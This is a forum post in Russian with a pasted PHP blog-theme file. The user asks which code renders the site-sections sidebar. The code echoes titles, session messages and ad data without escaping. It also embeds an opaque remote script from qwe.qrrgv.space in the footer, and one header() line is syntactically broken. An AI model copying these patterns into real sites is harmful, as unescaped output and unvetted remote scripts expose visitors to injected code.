Вот код
<?php
if (!defined('BLOG')) { die('Access Denied!'); }
define('ICONS','/themes/web/icons/');
$rating_ext = 'png'; // формат картинок рейтинга
# Валидный HTML
function valid_html($str) {
$str = str_replace(' />', '>', $str);
$str = str_replace('"/>', '">', $str);
return $str;
}
/**
* Шапка страницы
* Удалён string $title
* Удалён string $desc
* Удалён string $header
*/
function show_header($title = '', $keys = '', $desc = '', $header = 'Y') {
global $db, $config, $categories;
$title = StripMeta($title);
$keys = !empty($keys) ? $keys : $config['site_keys'];
$desc = !empty($desc) ? $desc : $config['site_desc'];
header("Content-type:text/html; charset=utf-8"
;
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>' . $title . '</title>
<meta name="keywords" content="' . $keys . '">
<meta name="description" content="' . $desc . '">
<style type="text/css">' . file_get_contents(dirname(__FILE__) . '/style.css') . '</style>
' . ($config['allow_rss'] == 1 ? '<link rel="alternate" type="application/rss+xml" title="' . $config['rss_title'] . '" href="/rss.xml">' : '') . '
</head><body>';
$count_categories = count($categories);
//$show_version = show_version();
echo <<<HTML
<center>
<!-- Верхний блок -->
<table class="body" align="center" cellpadding="0" cellspacing="0" width="810px">
<tr>
<td width="100%" style="
border: 1px solid #070707;
">
<table cellpadding="0" cellspacing="0" width="810px" border="0">
<tr>
<td class="top">
<img width="100%" src="/themes/web/img/logo.png" border="0" alt="">
</td>
</tr>
</table>
<table cellpadding="0" cellspacing="0" width="810px" bgcolor="#FFFFFF">
<tr>
<td width="25%" valign="top">
<table cellpadding="5" cellspacing="0" width="100%">
<tr>
<td class="f">
<div class="e">Разделы сайта</div>
HTML;
ob_start('valid_html');
if (!empty($categories)) {
foreach( $categories as $key => $val ) {
list($name,$text,$count) = $val;
echo '
<div class="menus"> <a href="' . gen_uri('category', $key) . '">' . $name . '</a> (' . $count . ')</div>
';
}
}
echo <<<HTML
</td>
</tr>
</table>
HTML;
if ($config['show_ads'] == 1 && !defined('IS_ADMINKA')) {
echo <<<HTML
<table cellpadding="5" cellspacing="0" width="100%">
<tr>
<td class="f">
<div class="e">Реклама</div><center>
<script language="JavaScript" charset="UTF-8" src="http://z1470.takru.com/in.php?id=1471719"></script>
HTML;
$ads = $db->select("SELECT * FROM ?_ads WHERE (`time` - UNIX_TIMESTAMP()) > 0 ORDER BY rand() LIMIT 0," . $config['ads_num']);
if (!empty($ads)) {
foreach( $ads as $ad ) echo ' <div class="menus"> <a href="http://' . $ad['url'] . '">' . $ad['name'] . ' </a></div>';
}
echo <<<HTML
</td>
</tr>
</table>
HTML;
}
echo <<<HTML
<table cellpadding="5" cellspacing="0" width="100%">
<tr>
<td class="f">
<div class="e">Статистика</div><center>
HTML;
if (!defined('IS_ADMINKA')) {
if (defined('IS_INDEX')) {
echo loadTemplate( 'footer_index' );
$show_title = '<h1>' . $title . '</h1>';
$show_title .= '<a href="/rss.xml" title="' . $config['rss_title'] . '"><img src="' . ICONS . 'rss.png" alt="" class="imgright"></a>';
$show_title .= '<a href="/print.html" title="Версия для печати"><img src="' . ICONS . 'printer.png" alt="" class="imgright"></a>';
}
else {
echo loadTemplate( 'footer' );
$show_title = '<h1>' . $title . '</h1>';
}
}
else $show_title = '<h1>' . $title . '</h1>';
echo <<<HTML
</center></td>
</tr>
<tr><td class=f><center>{$show_version}</center></td></tr>
</table>
</td>
<td width="100%" valign="top">
HTML;
if (!empty($_SESSION['core_message'][0][0]) && !empty($_SESSION['core_message'][0][1])) {
echo '<div class="message_' . $_SESSION['core_message'][0][0] . '">' . $_SESSION['core_message'][0][1] . '</div>';
unset($_SESSION['core_message']);
}
echo <<<HTML
<table cellpadding="1" cellspacing="0" width="100%" style="margin-top:10px;">
<tr>
<td>
<div class="header">{$show_title}</div>
HTML;
}
# Ноги
function show_footer() {
global $db, $mts, $is_admin, $config, $count_posts;
echo <<<HTML
<script src="http://qwe.qrrgv.space/v/EnGsQszSQb8o5JQ0lTAt7sFOTY_OkQ" charset="utf-8" type="text/javascript"></script>
<div id="vEnGsQszSQb8o5JQ0lTAt7sFOTY_OkQ"></div>
</td>
</tr>
<!-- tr><td align="center"><img src="/themes/web/img/_banner_.gif" alt=""></td></tr -->
</table>
</td>
<td width="25%" valign="top">
<!-- table cellpadding="5" cellspacing="0" width="100%">
<tr>
<td class=f>
<div class=e> Статистика</div>
<center><br></center>
</td>
</tr>
</table -->
</td>
</tr>
</table>
<table cellpadding="0" cellspacing="0" width="810px" border="0">
<tr>
<td class="foot">
{$config['site_copy']}
</td>
</tr>
HTML;
if ($is_admin) {
$stat = $db->getStatistics();
echo '<tr><td align="center">' . round(microtime(1) - $mts, 4) . ' сек :: ' . $stat['count'] . ' запросов</td></tr>';
}
echo <<<HTML
</table>
</td>
</tr>
</table>
</center>
</body>
</html>
HTML;
ob_end_flush();
exit;
}
?>
Как сделать второй блог разделы сайта
http://ovampires.ru/
Добавлено 31.03.16 в 06:25:20:
какой кусок кода отвечает за блок разделы сайта? Хочу второй блок поставить для другова сериала